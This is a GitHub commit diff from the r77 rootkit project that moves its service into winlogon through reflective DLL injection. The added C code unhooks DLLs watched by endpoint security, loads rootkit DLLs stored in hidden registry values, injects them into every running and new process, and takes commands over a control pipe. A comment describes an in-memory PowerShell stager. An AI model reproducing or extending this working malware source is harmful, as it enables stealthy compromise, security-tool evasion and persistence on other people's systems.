Skip to content

Commit f62732d

Browse files
committed
r77 service injected into winlogon instead of own process
1 parent 66338ed commit f62732d

28 files changed

+439
-229
lines changed
File renamed without changes.

Helper/Helper.c

+1-10
Original file line numberDiff line numberDiff line change
@@ -96,16 +96,7 @@ BOOL GetProcessList(PPROCESS_LIST_ENTRY entries, LPDWORD count)
9696
}
9797
BOOL CreateConfigSystem()
9898
{
99-
HKEY key;
100-
if (InstallR77Config(&key))
101-
{
102-
RegCloseKey(key);
103-
return TRUE;
104-
}
105-
else
106-
{
107-
return FALSE;
108-
}
99+
return InstallR77Config();
109100
}
110101
BOOL Inject(DWORD processId, LPBYTE dll, DWORD dllSize)
111102
{

Install/Install.c

+1-1
Original file line numberDiff line numberDiff line change
@@ -21,7 +21,7 @@ int main()
2121
RegSetValueExW(key, HIDE_PREFIX L"stager", 0, REG_BINARY, stager, stagerSize) != ERROR_SUCCESS) return 0;
2222

2323
// This powershell command loads the stager from the registry and executes it in memory using Assembly.Load().EntryPoint.Invoke()
24-
// The C# binary will proceed with creating a native process using process hollowing.
24+
// The C# binary will proceed with starting the r77 service using reflective DLL injection.
2525
// The powershell command is purely inline and doesn't require a ps1 file.
2626

2727
LPWSTR powershellCommand = GetPowershellCommand();

Service/ControlPipeListener.c

+3-3
Original file line numberDiff line numberDiff line change
@@ -2,11 +2,11 @@
22
#include "r77def.h"
33
#include "r77win.h"
44

5-
VOID ControlPipeListener(CONTROLCALLBACK callback)
5+
HANDLE ControlPipeListener(CONTROLCALLBACK callback)
66
{
7-
CreateThread(NULL, 0, ControlPipeListenerThread, callback, 0, NULL);
7+
return CreateThread(NULL, 0, ControlPipeListenerThreadFunction, callback, 0, NULL);
88
}
9-
DWORD WINAPI ControlPipeListenerThread(LPVOID parameter)
9+
static DWORD WINAPI ControlPipeListenerThreadFunction(LPVOID parameter)
1010
{
1111
while (TRUE)
1212
{

Service/ControlPipeListener.h

+5-2
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,10 @@ typedef VOID(*CONTROLCALLBACK)(DWORD controlCode, HANDLE pipe);
1111
/// Creates a new listener for the control pipe that receives commands from any process.
1212
/// </summary>
1313
/// <param name="callback">The function that is called, when a command is received by another process.</param>
14-
VOID ControlPipeListener(CONTROLCALLBACK callback);
15-
static DWORD WINAPI ControlPipeListenerThread(LPVOID parameter);
14+
/// <returns>
15+
/// A handle to the newly created control pipe listener thread.
16+
/// </returns>
17+
HANDLE ControlPipeListener(CONTROLCALLBACK callback);
18+
static DWORD WINAPI ControlPipeListenerThreadFunction(LPVOID parameter);
1619

1720
#endif

Service/ProcessListener.c

+11-14
Original file line numberDiff line numberDiff line change
@@ -3,18 +3,12 @@
33
#include "r77win.h"
44
#include <Psapi.h>
55

6-
VOID NewProcessListener(DWORD interval, PROCESSIDCALLBACK callback)
6+
HANDLE NewProcessListener(PROCESSIDCALLBACK callback)
77
{
8-
PNEW_PROCESS_LISTENER notifier = NEW(NEW_PROCESS_LISTENER);
9-
notifier->Interval = interval;
10-
notifier->Callback = callback;
11-
12-
CreateThread(NULL, 0, NewProcessListenerThread, notifier, 0, NULL);
8+
return CreateThread(NULL, 0, NewProcessListenerThreadFunction, callback, 0, NULL);
139
}
14-
static DWORD WINAPI NewProcessListenerThread(LPVOID parameter)
10+
static DWORD WINAPI NewProcessListenerThreadFunction(LPVOID parameter)
1511
{
16-
PNEW_PROCESS_LISTENER notifier = (PNEW_PROCESS_LISTENER)parameter;
17-
1812
LPDWORD currendProcesses = NEW_ARRAY(DWORD, 10000);
1913
LPDWORD previousProcesses = NEW_ARRAY(DWORD, 10000);
2014
DWORD currendProcessCount = 0;
@@ -40,24 +34,27 @@ static DWORD WINAPI NewProcessListenerThread(LPVOID parameter)
4034
}
4135
}
4236

43-
if (isNew) notifier->Callback(currendProcesses[i]);
37+
if (isNew)
38+
{
39+
((PROCESSIDCALLBACK)parameter)(currendProcesses[i]);
40+
}
4441
}
4542

4643
i_memcpy(previousProcesses, currendProcesses, sizeof(DWORD) * 10000);
4744
previousProcessCount = currendProcessCount;
4845
}
4946

50-
Sleep(notifier->Interval);
47+
Sleep(100);
5148
}
5249

5350
return 0;
5451
}
5552

56-
VOID ChildProcessListener(PROCESSIDCALLBACK callback)
53+
HANDLE ChildProcessListener(PROCESSIDCALLBACK callback)
5754
{
58-
CreateThread(NULL, 0, ChildProcessListenerThread, callback, 0, NULL);
55+
return CreateThread(NULL, 0, ChildProcessListenerThreadFunction, callback, 0, NULL);
5956
}
60-
static DWORD WINAPI ChildProcessListenerThread(LPVOID parameter)
57+
static DWORD WINAPI ChildProcessListenerThreadFunction(LPVOID parameter)
6158
{
6259
while (TRUE)
6360
{

Service/ProcessListener.h

+11-21
Original file line numberDiff line numberDiff line change
@@ -8,33 +8,23 @@
88
typedef VOID(*PROCESSIDCALLBACK)(DWORD processId);
99

1010
/// <summary>
11-
/// Defines a listener, that checks for new processes in a given interval.
11+
/// Creates a new process listener, that checks for new processes every 100 ms.
1212
/// </summary>
13-
typedef struct _NEW_PROCESS_LISTENER
14-
{
15-
/// <summary>
16-
/// The interval, in milliseconds, between each enumeration of running processes.
17-
/// </summary>
18-
DWORD Interval;
19-
/// <summary>
20-
/// The function that is called, when a process is found that was not present in the previous enumeration.
21-
/// </summary>
22-
PROCESSIDCALLBACK Callback;
23-
} NEW_PROCESS_LISTENER, *PNEW_PROCESS_LISTENER;
24-
25-
/// <summary>
26-
/// Creates a new process listener, that checks for new processes in a given interval.
27-
/// </summary>
28-
/// <param name="interval">The interval, in milliseconds, between each enumeration of running processes.</param>
2913
/// <param name="callback">The function that is called, when a process is found that was not present in the previous enumeration.</param>
30-
VOID NewProcessListener(DWORD interval, PROCESSIDCALLBACK callback);
31-
static DWORD WINAPI NewProcessListenerThread(LPVOID parameter);
14+
/// <returns>
15+
/// A handle to the newly created process listener thread.
16+
/// </returns>
17+
HANDLE NewProcessListener(PROCESSIDCALLBACK callback);
18+
static DWORD WINAPI NewProcessListenerThreadFunction(LPVOID parameter);
3219

3320
/// <summary>
3421
/// Creates a named pipe that listens for notifications about created child processes.
3522
/// </summary>
3623
/// <param name="callback">The function that is called, when the named pipe received a process ID.</param>
37-
VOID ChildProcessListener(PROCESSIDCALLBACK callback);
38-
static DWORD WINAPI ChildProcessListenerThread(LPVOID parameter);
24+
/// <returns>
25+
/// A handle to the newly created child process listener thread.
26+
/// </returns>
27+
HANDLE ChildProcessListener(PROCESSIDCALLBACK callback);
28+
static DWORD WINAPI ChildProcessListenerThreadFunction(LPVOID parameter);
3929

4030
#endif

Service/Service.c

+74-30
Original file line numberDiff line numberDiff line change
@@ -4,66 +4,79 @@
44
#include "r77win.h"
55
#include "r77config.h"
66
#include "r77process.h"
7+
#include "r77header.h"
78
#include "ProcessListener.h"
89
#include "ControlPipeListener.h"
910
#include <Psapi.h>
1011

11-
int main()
12+
BOOL WINAPI DllMain(_In_ HINSTANCE module, _In_ DWORD reason, _In_ LPVOID reserved)
13+
{
14+
if (reason == DLL_PROCESS_ATTACH)
15+
{
16+
if (!InitializeService())
17+
{
18+
// If the r77 service could not initialize, it is either already attached, or failed to initialize, detach the DLL.
19+
return FALSE;
20+
}
21+
}
22+
else if (reason == DLL_PROCESS_DETACH)
23+
{
24+
UninitializeService();
25+
}
26+
27+
return TRUE;
28+
}
29+
30+
BOOL InitializeService()
1231
{
1332
// Unhook DLL's that are monitored by EDR.
1433
Unhook();
1534

35+
// If the service is already running (e.g. Install.exe was run twice), gracefully terminate it, and continue initialization.
36+
LPVOID existingServiceDetachAddress;
37+
if (GetR77Header(&existingServiceDetachAddress) == R77_SERVICE_SIGNATURE)
38+
{
39+
// The DetachService() function pointer to the already running r77 service is called.
40+
// After this function returns, the previous r77 service is completely unloaded.
41+
42+
((VOID(*)())existingServiceDetachAddress)();
43+
}
44+
45+
// Write the r77 header.
46+
if (!WriteR77Header(R77_SERVICE_SIGNATURE, DetachService)) return FALSE;
47+
1648
EnabledDebugPrivilege();
1749

1850
// Get both r77 DLL's.
1951
HKEY key;
2052
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE", 0, KEY_QUERY_VALUE, &key) != ERROR_SUCCESS ||
2153
RegQueryValueExW(key, HIDE_PREFIX L"dll32", NULL, NULL, NULL, &Dll32Size) != ERROR_SUCCESS ||
22-
RegQueryValueExW(key, HIDE_PREFIX L"dll64", NULL, NULL, NULL, &Dll64Size) != ERROR_SUCCESS) return 0;
54+
RegQueryValueExW(key, HIDE_PREFIX L"dll64", NULL, NULL, NULL, &Dll64Size) != ERROR_SUCCESS) return FALSE;
2355

2456
Dll32 = NEW_ARRAY(BYTE, Dll32Size);
2557
Dll64 = NEW_ARRAY(BYTE, Dll64Size);
2658

2759
if (RegQueryValueExW(key, HIDE_PREFIX L"dll32", NULL, NULL, Dll32, &Dll32Size) != ERROR_SUCCESS ||
28-
RegQueryValueExW(key, HIDE_PREFIX L"dll64", NULL, NULL, Dll64, &Dll64Size) != ERROR_SUCCESS) return 0;
60+
RegQueryValueExW(key, HIDE_PREFIX L"dll64", NULL, NULL, Dll64, &Dll64Size) != ERROR_SUCCESS) return FALSE;
2961

3062
RegCloseKey(key);
3163

32-
// Terminate the already running r77 service process.
33-
TerminateR77Service(GetCurrentProcessId());
34-
3564
// Create HKEY_LOCAL_MACHINE\SOFTWARE\$77config and set DACL to allow full access by any user.
36-
HKEY configKey;
37-
if (InstallR77Config(&configKey))
38-
{
39-
// Write current process ID to the list of hidden PID's.
40-
// Since this process is created using process hollowing (dllhost.exe), the name cannot begin with "$77".
41-
// Therefore, process hiding by PID must be used.
42-
HKEY pidKey;
43-
if (RegCreateKeyExW(configKey, L"pid", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &pidKey, NULL) == ERROR_SUCCESS)
44-
{
45-
// The registry values "svc32" and "svc64" are reserved for the r77 service.
46-
DWORD processId = GetCurrentProcessId();
47-
RegSetValueExW(pidKey, COALESCE_BITNESS(L"svc32", L"svc64"), 0, REG_DWORD, (LPBYTE)&processId, sizeof(DWORD));
48-
RegCloseKey(pidKey);
49-
}
50-
51-
RegCloseKey(configKey);
52-
}
65+
InstallR77Config();
5366

5467
// When the NtResumeThread hook is called, the r77 service is notified through a named pipe connection.
5568
// This will trigger the following callback and the child process is injected.
5669
// After it's injected, NtResumeThread is executed in the parent process.
5770
// This way, r77 is injected before the first instruction is run in the child process.
58-
ChildProcessListener(ChildProcessCallback);
71+
ChildProcessListenerThread = ChildProcessListener(ChildProcessCallback);
5972

6073
// In addition, check for new processes every 100 ms that might have been missed by child process hooking.
6174
// This is particularly the case for child processes of protected processes (such as services.exe), because protected processes cannot be injected.
6275
// In the first iteration, the callback is invoked for every currently running process, making this the initial injection into all processes.
63-
NewProcessListener(100, NewProcessCallback);
76+
NewProcessListenerThread = NewProcessListener(NewProcessCallback);
6477

6578
// Open a named pipe to receive commands from any process.
66-
ControlPipeListener(ControlCallback);
79+
ControlPipeListenerThread = ControlPipeListener(ControlCallback);
6780

6881
// There are no implications when injecting a process twice.
6982
// If the R77_SIGNATURE is already present in the target process, the newly injected DLL will just unload itself.
@@ -78,9 +91,40 @@ int main()
7891

7992
DeleteR77Config(config);
8093

81-
Sleep(INFINITE);
82-
return 0;
94+
return TRUE;
95+
}
96+
VOID UninitializeService()
97+
{
98+
if (ChildProcessListenerThread)
99+
{
100+
TerminateThread(ChildProcessListenerThread, 0);
101+
ChildProcessListenerThread = NULL;
102+
}
103+
104+
if (NewProcessListenerThread)
105+
{
106+
TerminateThread(NewProcessListenerThread, 0);
107+
NewProcessListenerThread = NULL;
108+
}
109+
110+
RemoveR77Header();
111+
112+
if (ControlPipeListenerThread)
113+
{
114+
// Terminating the control pipe thread must be the last action!
115+
// If this funcion was called from ControlCallback, the current thread will terminate,
116+
// thus, this function will cease to execute.
117+
118+
TerminateThread(ControlPipeListenerThread, 0);
119+
ControlPipeListenerThread = NULL;
120+
}
83121
}
122+
static VOID DetachService()
123+
{
124+
// A thread was created with a pointer to DetachService(), thus requesting the r77 service to remove itself gracefully.
125+
UninitializeService();
126+
}
127+
84128
VOID ChildProcessCallback(DWORD processId)
85129
{
86130
// Hook the newly created child processes before it is actually started.
@@ -110,7 +154,7 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe)
110154
{
111155
case CONTROL_R77_TERMINATE_SERVICE:
112156
{
113-
ExitProcess(0);
157+
UninitializeService();
114158
break;
115159
}
116160
case CONTROL_R77_UNINSTALL:
@@ -127,7 +171,7 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe)
127171
DeleteScheduledTask(R77_SERVICE_NAME64);
128172
DetachAllInjectedProcesses();
129173
UninstallR77Config();
130-
TerminateR77Service(-1);
174+
UninitializeService();
131175
break;
132176
}
133177
case CONTROL_R77_PAUSE_INJECTION:

Service/Service.h

+33-1
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
1-
#define CUSTOM_ENTRY
21
#include "r77mindef.h"
2+
#include "ReflectiveDllMain.h"
33

44
/// <summary>
55
/// The 32-bit r77 DLL.
@@ -18,11 +18,43 @@ LPBYTE Dll64;
1818
/// </summary>
1919
DWORD Dll64Size;
2020
/// <summary>
21+
/// The thread that listens for notifications about created child processes.
22+
/// </summary>
23+
HANDLE ChildProcessListenerThread;
24+
/// <summary>
25+
/// The thread that checks for new processes every 100 ms.
26+
/// </summary>
27+
HANDLE NewProcessListenerThread;
28+
/// <summary>
29+
/// The thread that listens for commands on the control pipe.
30+
/// </summary>
31+
HANDLE ControlPipeListenerThread;
32+
/// <summary>
2133
/// Specifies whether to temporarily pause injection.
2234
/// <para>This flag is related to the CONTROL_R77_PAUSE_INJECTION control code.</para>
2335
/// </summary>
2436
BOOL IsInjectionPaused;
2537

38+
BOOL WINAPI DllMain(_In_ HINSTANCE module, _In_ DWORD reason, _In_ LPVOID reserved);
39+
40+
/// <summary>
41+
/// Initializes the r77 service and writes the r77 header.
42+
/// </summary>
43+
/// <returns>
44+
/// TRUE, if the r77 service was successfully loaded;
45+
/// otherwise, FALSE.
46+
/// </returns>
47+
BOOL InitializeService();
48+
/// <summary>
49+
/// Detaches the r77 service cfrom this process.
50+
/// </summary>
51+
VOID UninitializeService();
52+
/// <summary>
53+
/// A function that can be invoked using NtCreateThreadEx to detach the r77 service from this process.
54+
/// <para>The address of this function is written to the r77 header.</para>
55+
/// </summary>
56+
static VOID DetachService();
57+
2658
/// <summary>
2759
/// Callback for newly created child processes that should be injected.
2860
/// </summary>

0 commit comments

Comments
 (0)